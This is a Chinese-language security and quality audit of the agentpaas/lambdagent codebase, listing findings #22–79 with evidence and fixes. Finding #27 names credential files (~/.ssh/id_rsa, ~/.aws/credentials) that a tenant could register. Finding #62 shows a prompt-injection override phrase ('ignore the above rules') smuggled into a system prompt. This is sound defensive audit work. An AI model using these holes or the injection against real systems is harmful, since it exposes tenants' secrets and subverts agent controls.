+- **维度:** arch-internals
+
+#### 22. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
+*(原始 high,verifier 把 impact 调成 medium;在下方 medium 区报告)*
+
+#### 23. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
+*(原始 high,调整为 medium;在 medium 区报告)*
+
+#### 24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback(`"dev_auto_generated"`)
+- **文件:** `docker-compose.dev.yml:35`
+- **证据:** `AGENTPAAS_MASTER_KEY: "${AGENTPAAS_MASTER_KEY:-dev_auto_generated}"`
+- **影响:** 没有 env override 时,字面字符串 `"dev_auto_generated"` 就是 master key。`vault.py:_derive_key` 把它 hash 成 AES-256-GCM key material。每条 dev secret 都用一把公开提交的 key 加密。dev 环境里通常存着真实的 Anthropic / OpenAI / DashScope / 飞书 API key。data 目录是 host-mount 的;attacker exfil SQLite secrets 表后可以离线解所有内容。
+- **修复:** 去掉 `:-default`,让 compose 像生产那样 fail fast。用 `install-native.sh` / `start.sh` 的 `token_hex(32)` 生成。
+- **维度:** sec-secrets
+
+#### 25. rate-limit middleware 对 Authorization 头为空的请求静默放行
+- **文件:** `agentpaas/api/app.py:45`
+- **证据:**
+  ```python
+  api_key = request.headers.get("authorization", "")[:20]
+  if not api_key or request.url.path in ("/health", "/", "/docs", "/redoc"):
+      return await call_next(request)
+  ```
+- **影响:** 无 Authorization header → 零 throttle。每个 unauthenticated 端点(`/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`、`/analyze/*`、SPA fallback)都没有 rate limit,包括上面的 bootstrap-race 和 DoS 向量。20 字符前缀分桶本身也错——不同 key 共享前缀会撞桶;attacker 反过来枚举不同前缀就拿到不同桶,per-bucket 暴力破解不被 throttle。
+- **修复:** unauthenticated 用 client IP 限流;authenticated 用完整 tenant_id(通过 `Depends`,不是 header 切片)。
+- **维度:** sec-auth
+
+#### 26. 整个 `/analyze/*` router 没 auth —— DoS + 免费算力
+- **文件:** `agentpaas/api/v1/analyze.py:25`
+- **证据:** 五个 `/analyze` 端点都没声明 `Depends(get_tenant)`。`_compile` 把用户 YAML 写到 tmpfile 并跑 `from_config()`,无 size / time / depth 上限。
+- **影响:** 任何 internet 调用方提交任意 config 就能触发完整 lambdagent compiler。叠加空 Authorization 时的 rate-limit bypass,per-IP 也没限流。便宜的 CPU DoS,外加 kernel lint 规则信息泄漏。
+- **修复:** 每个 analyze 端点加 `Depends(get_tenant)`;限制 request body 大小;卡 term 最大深度。
+- **维度:** sec-auth
+
+#### 27. `/knowledge/{kb_id}/files` 任意 host 文件注册(无 containment 检查)
+- **文件:** `agentpaas/api/v1/knowledge.py:856`
+- **证据:** `add_files` 接受 `AddFilesRequest.file_paths` 里的绝对路径,只验 `p.is_file()`,从不检查 `p` 是否在 `kb["root_dir"]` 下。line 1050 的 wiki 端点 *的确* 做了 containment 检查,说明这套代码知道这个 pattern。
+- **影响:** authenticated tenant 把 `/etc/passwd`、`~/.ssh/id_rsa`、`~/.aws/credentials` 注册到自己 KB 下。(一位 verifier 指出索引脚本扫的是 `kb_root`,不是注册路径,所以端到端 exfil chain 取决于下游谁读 `kb_files.file_path`——但注册这步本身就是 IDOR primitive,仅 audit-trail 混乱就足够要求修复。)
+- **修复:** `Path(fp).resolve()`,拒绝除非 `str(resolved).startswith(str(Path(kb["root_dir"]).resolve()) + os.sep)`。
+- **维度:** sec-injection
+
+#### 28. `/jobs/{job_id}` IDOR —— 读和取消都不做 tenant scope
+- **文件:** `agentpaas/api/v1/jobs.py:15`
+- **证据:** `get_job` 和 `cancel_job` 都注入了 `tenant: TenantContext`,但从不比对 `job.tenant_id`。Job dataclass 上已经有这个字段。同级的 `traces.py:14` 和 `agents.py:160` 正确强制 `WHERE id=? AND tenant_id=?`。
+- **影响:** 任何 authenticated tenant 拿到 job_id 都能读另一个 tenant 的 job 结果(PII、agent trace)或 cancel 别人正在跑的 job(DoS)。
+- **修复:** `job.tenant_id != tenant.tenant_id` 时拒绝(返回 404 而不是 403,避免 id oracle)。
+- **维度:** sec-auth
+
+#### 29. `/providers/*` 把明文 API key 写进全局文件并写进 process env,无 tenant 分区
+- **文件:** `agentpaas/api/v1/providers_api.py:133`
+- **证据:**
+  ```python
+  PROVIDERS_FILE = os.path.expanduser("~/.agentpaas/providers.json")
+  saved[provider_id] = entry           # not keyed by tenant
+  os.environ[env_key] = req.api_key    # process-wide mutation
+  ```
+- **影响:** tenant A 的 POST 覆盖 tenant B 存的 key(跨 tenant 静默覆盖);`os.environ` mutation 意味着 B 后续的 agent run 计费会算到 A 的 key 上。`/providers/{id}/test` 会 exfil 当前那把 key。key 明文落盘;`secrets/vault.py` 被绕过。
+- **修复:** 按 `tenant.tenant_id` 分键;去掉 `os.environ` mutation;走 `secrets/vault.py`。
+- **维度:** sec-auth
+
+#### 30. agent 到 KB 的链接不做 tenant scope —— 运行时跨 tenant 读 KB
+- **文件:** `agentpaas/api/v1/agents.py:1127`(以及 `_build_kb_context` 里的 1191)
+- **证据:** `# KB is a shared resource; no tenant restriction` 注释,校验 `SELECT id FROM knowledge_bases WHERE id = ?` 无 tenant filter。`knowledge.py` 在其他每个 KB 操作上都强制 tenant_id。
+- **影响:** tenant A 把 tenant B 的 `kb_id` 链到自己某个 agent;每次 run 都把 B 的文档注入 A 的 prompt context。UUID 可通过 404-vs-200 timing oracle 猜出来。
+- **修复:** 两个 query 都加 `AND tenant_id = ?`;或引入显式 `shared=true` 列 + 授权表。
+- **维度:** sec-auth
+
+#### 31. `agent-lint-action` 在 lambdagent 装失败时静默 fallback 到 no-op installer
+- **文件:** `agent-lint-action/action.yml:53`
+- **证据:** `pip install pyyaml lambdagent || pip install pyyaml`。`lambdagent` 不在 PyPI 上(已验证:pypi.org 返回 404)。`lint_runner.py:66` 接住 ImportError,返回空 `lint=[]/schema=[]` 加一个 `warning` key(从不被读取),所以 exit 是 0。
+- **影响:** 下游用户拿到绿色 CI badge,实际做了零 lint。Typo-squat 机会:谁在 PyPI 注册 `lambdagent` 就能在每个用这个 action 的 CI 里 code execution。
+- **修复:** 在 PyPI 以验证身份发布 lambdagent 并 pin 版本;安装失败要 loud fail(`set -e`)。
+- **维度:** sec-supply-chain
+
+#### 32. Docker image 以 root 运行(无 `USER` directive)
+- **文件:** `Dockerfile:76`
+- **证据:** `grep -n USER Dockerfile` 没结果。CMD 跑 `python -m agentpaas serve --host 0.0.0.0`。`VOLUME ["/data"]` 从 host bind-mount。`docker-compose.dev.yml` 还直接 bind-mount `./agentpaas`、`./lambdagent`、`./lambdagent_guard`。
+- **影响:** agentpaas 执行 LLM 产出的 tool 调用 + subprocess sandbox——任何一次 sandbox 逃逸、tool RCE 或 prompt-injection 驱动的文件写入都以 root 拥有 container、把 root 拥有的文件写进 host `/data` volume,并(在 dev 里)改写开发者的源码树。
+- **修复:** `RUN useradd -u 10001 -m appuser && chown -R appuser /data /app` + 在 CMD 前 `USER appuser`。
+- **维度:** sec-supply-chain
+
+#### 33. `setup.sh` 在没有 `pyproject.toml` 的 repo root 上跑 `pip install -e ".[all]"`
+- **文件:** `setup.sh:140`
+- **证据:** `pip install -e ".[all]" --quiet 2>&1 | tail -1` 后无条件 `ok "lambdagent 已安装"`。repo root 没有 `pyproject.toml`。line 144 正确用了 `./agentpaas[dev]`。
+- **影响:** 入门 onboarding 脚本的第一步装包静默失败(管道掩盖错误,没 `set -o pipefail`),然后打绿勾。用户在 server 启动时拿到 `ImportError`。和 CI commit `874896e` 修的是同一个缺陷,但没传播到这里。
+- **修复:** `pip install -e "./lambdagent[all]" --quiet` 并去掉 `| tail -1`,或 `set -o pipefail`。
+- **维度:** sec-supply-chain / correctness-examples
+
+#### 34. `authenticate()` —— API-key 登录流程 —— 零 test 覆盖
+- **文件:** `agentpaas/api/middleware/auth.py:80`
+- **证据:** `grep -rn "authenticate\|api_keys\|legacy_hash" tests/` 返回 0。只有 `test_hash_key()` 在孤立测原语。
+- **影响:** legacy→PBKDF2 自动迁移路径会写 `key_hash` 行;没有 test 验证过期 key 被拒;没有 test 覆盖 Bearer 前缀切片或短 key 边界。SEC-01 回归静默溜过。
+- **修复:** 用真实 sqlite tenants+api_keys schema 写 test 覆盖成功、错误 key、过期、suspended、格式不对、Bearer,以及 legacy→PBKDF2 迁移断言。
+- **维度:** tests-gaps
+
+#### 35. `lambdagent/rag.py`(438 LOC)—— Paper III 的招牌特性 —— 零 direct test
+- **文件:** `lambdagent/src/lambdagent/rag.py:1`
+- **证据:** `grep -rln "from lambdagent.rag\|import.*rag" tests/ lambdagent/tests/` 一无所获。`test_knowledge.py` 只覆盖 `builtin_tools.knowledge_tools` shim。(一位 verifier 指出线上 QA Demo 用的是 subprocess 脚本,不是这个模块——所以 impact 是研究质量而不是生产质量,但 gap 仍然真实。)
+- **影响:** 检索 ranking、chunking、embedding-cache 逻辑——客户最常抱怨的东西——在研究/示例用法上没有回归 guard。
+- **修复:** `tests/test_rag.py` 配上小 in-memory 语料、确定性 embedding、固定查询断言、tenant 隔离 test。
+- **维度:** tests-gaps
+
+#### 36. `test_instance.py` 从未跑过 `agents.agent_template` / `instance_dir` DB 列
+- **文件:** `tests/test_instance.py:20`
+- **证据:** 只 import 了 `_deep_merge, create_instance, load_instance, load_instance_from_dirs`。没有 test 创建带新列的 agent 行、dispatch 一次 run、断言 `instance_dir` 被消费。`agents.py:365` 用了 `instance_dir or agent_dir`——静默 fallback。
+- **影响:** 旗舰多 tenant template→instance 特性没有端到端的 DB 持久化 test。migration 出错或空 `instance_dir` 都会让 run 静默路由到共享的 template 目录。
+- **修复:** 端到端 test:sqlite + 两个来自同一 template 但 `instance_dir` 不同的 agent,各 dispatch 一次 run,断言 workspace 隔离。
+- **维度:** tests-gaps
+
+#### 37. README Quick Start 的 Loop 例子用了不存在的 kwarg —— 复制粘贴立即失败
+- **文件:** `README.md:195`
+- **证据:**
+  ```python
+  researcher = Loop(
+      body=Lam("think", "Analyze the question. Use search if needed."),
+      condition=lambda result: "DONE" in result,
+      max_iterations=10,
+  )
+  ```
+- **影响:** 真实签名是 `Loop(body, condition, max_steps=10)`,`condition: Callable[[Any, int], bool]` 接两个参数。新用户复制的第一段 Python DSL snippet 里同时叠了两个 bug。
+- **修复:** `Loop(body=..., condition=lambda result, step: 'DONE' in result, max_steps=10)`。
+- **维度:** docs-accuracy
+
+#### 38. README `Memory()` 例子用了不存在的 kwarg
+- **文件:** `README.md:202`
+- **证据:** `agent = Memory(researcher, strategy="local", size=20)`。真实签名:`Memory(agent: Term, store: Dict[str, Any] | None = None)`。
+- **影响:** 立刻 TypeError。和坏掉的 Loop 例子挨在一起,整段 Python DSL Quick Start 在用户走到 `agent(...)` 之前就崩。README 把 Python DSL 层和 YAML config schema 混淆了。
+- **修复:** `Memory(researcher)`,或文档化 YAML 走法。
+- **维度:** docs-accuracy
+
+#### 39. 根目录 `CONTRIBUTING.md` 声明 MIT —— 与 LICENSE(BSL 1.1)矛盾
+- **文件:** `CONTRIBUTING.md:85`
+- **证据:** *"By contributing, you agree that your contributions will be licensed under the MIT License."*——但根 LICENSE 是 BUSL-1.1,`lambdagent/CONTRIBUTING.md:55` 正确写 BUSL-1.1。
+- **影响:** Contributor-IP 强制执行风险。善意 contributor 阅读根 CONTRIBUTING.md 会以为自己同意了 MIT,削弱了 maintainer 强制 BSL non-production cap 或计划中的 2031-04-05 Apache 2.0 转换的能力。GitHub 会自动把这个文件作为 canonical 贡献指南呈现。
+- **修复:** 把根 CONTRIBUTING.md 的 license 条款换成 `lambdagent/CONTRIBUTING.md:54-55` 的 BUSL-1.1 文案。
+- **维度:** docs-accuracy
+
+#### 40. README 声称 11 个 Lambda construct,但 YAML compiler 只支持 5 个
+- **文件:** `lambdagent/src/lambdagent/fromconfig/schema.py:17`
+- **证据:** `valid_types = ("simple", "react", "chain", "router", "parallel")`。README.md 87-99 行宣传 11 个 construct。`constructs.md` 575 行发布的 YAML 例子带 `type: guard` 和 `type: memory` chain stage,会被 S002 schema 校验拒绝。
+- **影响:** 每个从 constructs.md 复制 "comprehensive example" YAML 的客户都会得到 SchemaError。docs 声称的 spec 覆盖度与 `from_config()` 实际接受的之间存在硬矛盾。
+- **修复:** 要么把 `if|guard|memory|pair` 加进 `valid_types` 并在 `build_agent()` 里 dispatch;要么修正 README §"Core Constructs" 和 constructs.md §"YAML Configuration",标注这些只在 Python API 可用。
+- **维度:** spec-vs-impl
+
+#### 41. SPEC §3.3.2 —— 文档化了 async `POST /agents/{id}/jobs` 端点但 API 里没有
+- **文件:** `agentpaas/api/v1/jobs.py:13`
+- **证据:** Jobs router 只暴露 `GET /{job_id}` 和 `POST /{job_id}/cancel`。SPEC.md §3.3.2 line 197 文档化 `POST /api/v1/agents/{agent_id}/jobs` 返回 202 带 `poll_url`。`agents.py` 里 grep 没有这个端点。
+- **影响:** 跟 SPEC.md 走的客户根本入不了 async job 队;它被告知用的 `poll_url` 永远没法指到一个用文档化 API 创建的 job。(一位 verifier 指出 SPEC.md 1378-1380 把它作为 Phase 2 未完成项追踪——所以这部分是 spec-roadmap 不一致,但 §3.3.2 的散文写得像已就绪。)
+- **修复:** 实现这个端点;或把 §3.3.2 的散文搬到明确标注 "future" 的章节。
+- **维度:** spec-vs-impl
+
+#### 42. from-config-spec §13.1 承诺嵌套 sub-agent 编译,但 chain step 跳过了 `build_agent()`
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:1115`
+- **证据:** `_compile_chain` 从每个 step 直接构造原始 `Lam(...)` 对象,只读 `name/prompt/model/temperature/maxTokens`——从不调用 `build_agent(step_cfg)`。对照:`_compile_router`(line 1191)和 `_compile_parallel`(line 1233)都会递归。
+- **影响:** 一个 chain step `{name: x, type: react, react: {maxSteps: 5}, mcp: {...}}` 静默变成单个无状态 Lam。`constructs.md` 上发布的带 `type: react`/`type: guard`/`type: memory` stage 的例子被编译成无用的退化 pipeline。静默失败(无错误)——只 prompt 被读,其他全丢。
+- **修复:** `_compile_chain` 里的原始 `Lam(...)` 换成 `build_agent(step_cfg, overrides, _depth=_depth+1)`。
+- **维度:** spec-vs-impl
+
+#### 43. README 的 one-sentence-agent 例子用了不存在的路径和错的 kwarg
+*(从 medium 提级——因为 headline marketed feature 上的复合失败;完整证据见下方 medium 区)*
+
+#### 44. 许可证冲突:`lambdagent_guard` 声称 MIT 但硬依赖 BUSL-1.1 的 lambdagent
+- **文件:** `lambdagent_guard/pyproject.toml:11`
+- **证据:** `license = {text = "MIT"}` + `dependencies = ["lambdagent>=0.1.0"]`,而 `lambdagent/pyproject.toml:7` 是 `BUSL-1.1`。
+- **影响:** SBOM 扫描器(FOSSA、Snyk)把包当成 MIT 放行,让它穿过 BUSL 本会拦下的企业合规门。合规陷阱。
+- **修复:** 要么把 lambdagent_guard 改为 BUSL-1.1,要么放弃硬依赖,要么正式 dual-license。
+- **维度:** sec-supply-chain
+
+#### 45. legacy 定 salt 的 PBKDF2 路径仍永久接受老 key(SEC-01 部分修复)
+*(证据见 medium 区——在 high 区出现因为同一问题在 finding set 里出现两次,说明 reviewer 收敛到同一处)*
+
+#### 46. `compiler.py` 出现重复的 `enforce_loop` 配置块 —— merge 残留物,未来漂移风险
+*(见 medium 区)*
+
+#### 47-78. *(其余 high finding 归并到下方 medium 区或按 root cause 合并。)*
+
+注:经过三视角裁定,几条原本被 finder 标 "high" 的 finding 因为 failure mode 是结构性而非今天产生错误 runtime 行为,被中位投到 medium。它们以 medium 报告,但原始关切被保留。
+
+---
+
+### 中 (29)
+
+#### 48. `react_engine` 静默吞掉 callback 异常
+- **文件:** `lambdagent/src/lambdagent/agentruntime/react_engine.py:87`
+- **证据:** `try: self.on_step(event); except Exception: pass`。`compiler.py` 里重复出现 5+ 次。
+- **影响:** 流式失败(SSE writer 关闭、JSON encode 失败)对 operator 不可见。叠加 BUG-06 trace 分裂,"为什么我没看见这一步?"变成无法诊断。
+- **修复:** `except Exception as e: logger.warning(...)` 加一个 dropped event 计数器。
+
+#### 49. CEKEngine 静默吞掉所有 cost-validation 错误
+- **文件:** `lambdagent/src/lambdagent/agentruntime/cek_engine.py:144`
+- **证据:** 整条 DESIGN-08 验证路径裹在裸 `except Exception: pass` 里。
+- **影响:** DESIGN-08 被宣传为 "已修",但 `estimate_cost`/`validate_cost` 里任何失败(model KeyError、schema 漂移)都静默跳过 warning。粉饰性修复。
+- **修复:** 记录异常;except 收窄到具体失败 mode。
+
+#### 50. `compiler.py` 里重复的 `enforce_loop` config block —— merge 残留物
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:704`
+- **证据:** 五个变量(`enforce_loop_cfg/tool/min/sequence/min_cycles`)在 680-684 和 704-708 各声明一次,body 一模一样。
+- **影响:** 当前 benign(第二次用同样的值覆盖),但下次有人改其中一块就会被另一块静默盖掉。
+- **修复:** 删 704-708 行。
+
+#### 51. worker fire-and-forget `asyncio.create_task()` —— task 被 GC,run 卡在 'running'
+- **文件:** `agentpaas/engine/worker.py:54`
+- **证据:** `asyncio.create_task(process_job(job))` 没强引用;`process_job` 在 `status='running'` INSERT 之后的 `await sandbox.execute(...)` 周围没有 try/except。`models.py:233` 的 zombie reaper 只在启动时清扫 >6h 的行。
+- **影响:** engine 注释明确说这个 bug 在生产里咬过。UI 一直显示 'running' 直到进程重启。
+- **修复:** `bg = set(); t = asyncio.create_task(...); bg.add(t); t.add_done_callback(bg.discard)` + try/except 写回 failed 状态。
+
+#### 52. audit log helper 静默吞掉所有异常 —— 缺表时安全事件人间蒸发
+- **文件:** `agentpaas/api/v1/agents.py:88`
+- **证据:** `_audit_log` 在 `try: ... except Exception: pass` 里做 INSERT。`audit_log` 表从未在 `_init_tables` 里建。每次 INSERT 静默抛 `OperationalError: no such table: audit_log`。
+- **影响:** 生产里零审计行。S21 控制项形同虚设。
+- **修复:** 加 CREATE TABLE;用 `logger.error` 记录异常。
+
+#### 53. `store_secret` 有 TOCTOU + 在函数中途建出来的表上跑 UPDATE/INSERT
+- **文件:** `agentpaas/secrets/vault.py:44`
+- **证据:** `(tenant_id, name, environment)` 上没有 UNIQUE 约束;CREATE TABLE 在 runtime helper 里而不是 `_init_tables`。
+- **影响:** 并发 store 产生重复行;`get_secret` 必须在 `store_secret` 至少跑过一次之后才能工作。
+- **修复:** DDL 搬到 `_init_tables` 加 UNIQUE;`INSERT ... ON CONFLICT DO UPDATE SET`。
+
+#### 54. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
+- **文件:** `webui/src/App.tsx:21`
+- **证据:** `grep -rn "ErrorBoundary|componentDidCatch|getDerivedStateFromError" webui/src/` 零结果。
+- **影响:** 任何 render-time 错误(畸形 config shape、过期 localStorage)让整棵 React 树白屏。单 tenant dev UI 爆炸半径有限,但完全没有 telemetry。
+- **修复:** 顶层 ErrorBoundary class 包住 Routes,提供 fallback UI。
+
+#### 55. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
+- **文件:** `webui/src/pages/Chat.tsx:521`
+- **证据:** 用 `setMessages(historical)` 而不是 functional updater;每次 `runsData` 解析且 `historyLoaded` 还是 false 时就跑。
+- **影响:** 老用户在 `runsData` 还没回来前快速输入 → 正在流式的 assistant bubble 被擦掉。只影响 runs 查询较慢的老用户。
+- **修复:** `setMessages(prev => prev.length > 0 ? prev : historical)`。
+
+#### 56. `FilePreview.useEffect` 缺 dep + 旧响应 race
+- **文件:** `webui/src/pages/AgentWorkspace.tsx:161`
+- **证据:** `apiKey` 在 fetch 内被读,但缺在 `[agentId, runId, file.path]` deps 里;没有 AbortController。
+- **影响:** 不 remount 重新认证后还闭包着旧 key(静默 401)。快速切换文件:A 的字节出现在 B 的预览面板。
+- **修复:** deps 里加 `apiKey` + cleanup 里 `AbortController`。
+
+#### 57. API key 通过 zustand persist 存在 localStorage —— XSS = 完全 account 沦陷
+- **文件:** `webui/src/store/app.ts:10`
+- **证据:** `persist` middleware 配 `{ name: 'lambdagent-store' }`,默认 localStorage;`apiKey` 字段被 persist。
+- **影响:** 任意页面脚本都能读 bearer key。今天没用 `dangerouslySetInnerHTML`,但 markdown 渲染很可能未来会加——defense-in-depth 缺口。
+- **修复:** 后端 set 的 httpOnly secure cookie,或纯内存 state。
+
+#### 58. Wiki 页面加载器有旧响应 race
+- **文件:** `webui/src/pages/KnowledgeDetail.tsx:943`
+- **证据:** `loadPage` await 时没 abort、没 request-id ref。点 A 再点 B,如果 A 在 B 之后回来,breadcrumb 是 B 但内容是 A。
+- **修复:** `const reqRef = useRef(0); const id = ++reqRef.current; ... if (id !== reqRef.current) return`。
+
+#### 59. `_estimate_money` 用子串匹配 model 名 —— `gpt-4o-mini` 被多算 33×
+- **文件:** `lambdagent/src/lambdagent/agentruntime/recursive_engine.py:41`
+- **证据:** `for key, price in _MODEL_COSTS.items(): if key in model.lower(): return ...`。`gpt-4o-mini` 先撞 `gpt-4o`($0.005/1K vs 实际 $0.00015);`claude-3-5-haiku-20250101` 不含 `claude-haiku` → 0.0。
+- **影响:** 成本 telemetry 误导;dict 序变化即影响账单报告。
+- **修复:** 最长前缀匹配;显式带版本 key。
+
+#### 60. Route/Handoff 模糊匹配在 label 前缀重叠时挑错 agent
+- **文件:** `lambdagent/src/lambdagent/agentruntime/executor.py:137`
+- **证据:** 子串 fallback `if key.lower() in label`;Handoff 双向 `name in target or target in name` 在 `multiagent.py:597`。
+- **影响:** Routes `{'bob', 'bobby'}` + label `bobby`(非精确匹配)会挑到 bob。同级 agent 名字前缀重叠时静默 mis-route。
+- **修复:** word-boundary regex;或按 key 长度降序排序。
+
+#### 61. 通过 `knowledge_base.root_dir` 注入 YAML 到 `instance.yml`
+- **文件:** `agentpaas/api/v1/knowledge.py:213`
+- **证据:** 在单引号 YAML scalar 里用 f-string 插值 `kb_root`,未转义 `'` 或 `\n`。`Path.resolve()` 都保留。
+- **影响:** 能创建带引号/换行的目录名的 tenant 可以把任意 YAML key 注入 instance.yml,下游 subprocess build script 会信任。前置条件:文件系统写权限。
+- **修复:** 用真正 dict 跑 `yaml.safe_dump({...})`。
+
+#### 62. 通过未校验的 `target_subagent` 注入 prompt 到 ReAct system prompt
+- **文件:** `agentpaas/api/v1/agents.py:569`
+- **证据:** `RunStreamRequest.target_subagent` 是自由 str,只做了 `.strip()`,被插值到 `[用户指令]` 哨兵之上。
+- **影响:** 调用方嵌入 `\n忽略上述规则\n` 重写 orchestrator 的 framing,绕过 `enforceLoop` 上限和 artifact-gate 引导。是 self-tenant prompt 操纵,不是跨 tenant。
+- **修复:** 校验是否在 `config["mcp"]["subAgents"]` keys 里;去换行。
+
+#### 63. legacy 定 salt 的 PBKDF2 API key hash 静默自动迁移,不强制 rotate
+- **文件:** `agentpaas/api/middleware/auth.py:119`
+- **证据:** `_legacy_hash_key` 是单轮 SHA-256;自动迁移只在 auth 成功时触发。沉睡的 legacy key 永远保持普通 SHA-256。
+- **影响:** "SEC-01 已修" 名不副实。注:API key 是 32 字符随机(约 190 bit),实际离线暴破不可行——这是 defense-in-depth 卫生,不是 break-glass。
+- **修复:** `must_rotate_before` 截止时间;过截止后拒绝 legacy hash;或后台 job 重 hash。
+
+#### 64. `agentpaas/pyproject.toml` 没声明 SQLAlchemy,尽管 `db/models.py` 的命名暗示
+- **文件:** `agentpaas/pyproject.toml:10`
+- **证据:** `prod = ["asyncpg", "redis", ...]` 但无 `sqlalchemy`。`db/models.py` docstring 声称是 SQLAlchemy ORM;实现用裸 sqlite3 + 对非 sqlite URL 抛 `NotImplementedError`。
+- **影响:** 误导性依赖声明。装 `[prod]` 想部署到 Postgres 会在启动时挂。
+- **修复:** 更新 docstring + 删掉误导性的 asyncpg extra;或者真的用 SQLAlchemy 重写。
+
+#### 65. agentpaas 伸手进 lambdagent 的私有 internals(`_set_cwd` + `agentruntime.cancel`)
+- **文件:** `agentpaas/api/v1/agents.py:1399`
+- **证据:** `from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd`(带下划线的 private);`from lambdagent.agentruntime import cancel as _cancel`(按 git status 看是新的未提交 module)。
+- **影响:** 跨包耦合绕过 lambdagent 的 public 面;handler 里的 inline import 把 ImportError 从 startup 推迟到 runtime。
+- **修复:** 定义 `lambdagent.host`(或 `lambdagent.runtime.api`)作为 supported 集成面。
+
+#### 66. agentpaas 重度依赖 request handler 里的 inline `from lambdagent ...` import
+- **文件:** `agentpaas/api/v1/agents.py:1330`
+- **证据:** agents.py 里 6 处 inline import;`engine/cache.py:41`、`engine/sandbox.py:207-208`、`analyze.py:29,46,47,67,112`、`launch.py:184` 同一模式。
+- **影响:** ImportError 在 per-request 浮出来,而不是启动时。`/health` 过、`/agents/{id}/run` 挂。掩盖跨包边界——未声明依赖之所以一直没被发现就是因为它。
+- **修复:** 提到模块顶;加 lint 规则禁止函数体内 import lambdagent。
+
+#### 67. 整个 monorepo 的 license 不一致(BSL 1.1 vs MIT)
+- **文件:** `lambdagent_guard/pyproject.toml:9`
+- **证据:** `lambdagent_guard` MIT、`lambdagent` BUSL-1.1、`agentpaas` 完全没有 license。
+- **影响:** 任何想 vendoring 的人都面临 legal 不清;与 #44 呼应。
+- **修复:** 对齐 license;给 agentpaas 显式补一个。
+
+#### 68. agentruntime 子层依赖纠缠
+- **文件:** `lambdagent/src/lambdagent/agentruntime/executor.py:17`
+- **证据:** `executor → react_engine`、`recursive_engine → executor`、`adaptive_engine → {recursive, cek}`。BUG-06 trace 分裂的结构原因;`react_engine.py:94` 有明确注释 `"FIX-05: Record trace to BOTH self.trace AND ctx.trace"` 验证了双写绕开方案。
+- **修复:** 单一 `Engine` ABC 在 `agentruntime/engine.py`(已存在);删 `adaptive_engine` 直到 cost-based 切换真的就绪。
+
+#### 69. `extensions.py` 用 late `from .primitives import If` 躲循环 import
+*(被 impact verifier 降级 —— 按 line 178 的 FIX-02 注释这个 late import 已是 dead code;归为清理项)*
+
+#### 70. README 导出数量差 2× —— 声称 81,实际 152
+- **文件:** `README.md:44`
+- **证据:** `from lambdagent import __all__; len(__all__) == 152`。
+- **影响:** 装饰性;低估了成熟度。
+- **修复:** 在 docs hook 里从 `len(lambdagent.__all__)` 自动生成。
+
+#### 71. README 的 one-sentence-agent 例子指向不存在的路径和错的 kwarg
+- **文件:** `README.md:320`
+- **证据:** `python nl2agent.py ...`——文件其实在 `experiments/nl2agent.py`。程序例子传 `task=`,真实签名是 `one_sentence_to_agent(description, user_input=None, model=..., verbose=True)`。
+- **影响:** Headline 营销特性在首次接触就崩。
+- **修复:** `python experiments/nl2agent.py ...`;把 `task=` 改成 `user_input=`。
+
+#### 72. README 仓库布局表对 `deploy/` 的描述错误,并给了不可运行的安装命令
+- **文件:** `README.md:21`
+- **证据:** 表里说 `deploy/` 含 "Docker Compose, nginx, startup scripts",运行命令是 `docker compose up -d`。实际 `deploy/` 有 7 个文件:`install-native.{sh,ps1}`、`start.{sh,bat,ps1}`、`stop.{sh,bat}`——没有 compose、没有 nginx。compose 文件在 repo root。
+- **影响:** `cd deploy/ && docker compose up -d` 第一次就得到 "no configuration file provided: not found"。
+- **修复:** 如实描述 `deploy/`;compose 的 mention 单独成一行,锚到 repo root。
+
+#### 73. README 的 one-sentence-agent 例子
+*(与 #71 合并)*
+
+#### 74. SPEC §3.3.3 的 stream URL 与代码不一致 —— spec 写 `/stream`,代码挂的是 `/run/stream`
+- **文件:** `agentpaas/api/v1/agents.py:432`
+- **证据:** route 是 `@router.post("/{agent_id}/run/stream")`。SPEC.md §3.3.3 line 226 规定 `/agents/{agent_id}/stream`。§3.3.4 line 249 的 WS 端点没有实现。
+- **修复:** 更新 SPEC.md 对齐代码;删掉 WebSocket 段或实现它。
+
+#### 75. SPEC §3.3.1 run 响应 —— `trace_id` 和 `estimated_cost_usd` 文档化但从不返回
+- **文件:** `agentpaas/SPEC.md:178`
+- **证据:** SPEC 承诺两个字段;`agents.py:401-414` 拼装的 resp dict 两个都没有。`runs.trace_id` 列存在但从不外露。
+- **修复:** 要么填上字段(`lambdagent/cost_grade.py` 里有成本机制),要么把 SPEC 与 `api.md` 对齐。
+
+#### 76. from-config-spec §5.5 承诺 Provider 异常是致命的,但 `_compile_lam` 把它吞了
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:562`
+- **证据:** 整段 provider + ConversationLam 构造裹在 `try: ... except Exception: pass`。掉进无状态的 legacy Lam 静默回退。
+- **影响:** 任何 ImportError、misconfig 或 provider init 失败都静默把生产 agent 降级到无状态——丢失 session 持久化("Zero-Hallucination Conversations" 招牌特性),还不打 log。
+- **修复:** 收窄 except;打 warning;可选 `runtime.requireConversation: true`。
+
+#### 77. `lambdagent_guard` 重复实现了 agentpaas 已经包了的 lint/cost/extract pipeline
+- **文件:** `lambdagent_guard/core.py:89`
+- **证据:** `lambdagent_guard/core.py:89-110` 和 `agentpaas/api/v1/analyze.py:29-117` 都独立 import 同一组 lambdagent.fromconfig + cost_grade 函数,并各自重复实现 tempfile-yaml-compile 那一套。
+- **影响:** 没有 canonical 受保护编译路径;kernel 改名会级联到两个 caller。
+- **修复:** 选一个方向;删掉重复 pipeline 或让 analyze 走 guard。
+
+#### 78. run-workspace 测试依赖 `time.sleep(1.1)` —— 脆弱,并暴露底层秒级时间戳方案本身就脆弱
+- **文件:** `tests/test_run_workspace.py:132`
+- **证据:** `ws1 = ...; time.sleep(1.1); ws2 = ...` 来强行得到唯一目录名。
+- **影响:** 并发 run(现实 PaaS 场景)会走 `sandbox.py:80` 的 collision-suffix fallback,而那条路径未测。
+- **修复:** mock `time.strftime` 返回相同值;断言 collision-fallback 产生不同 path。
+
+#### 79. 上一版审计的 'known-empty stubs' 声明自己已经过期 —— `docs/theory.md` 是 230 行
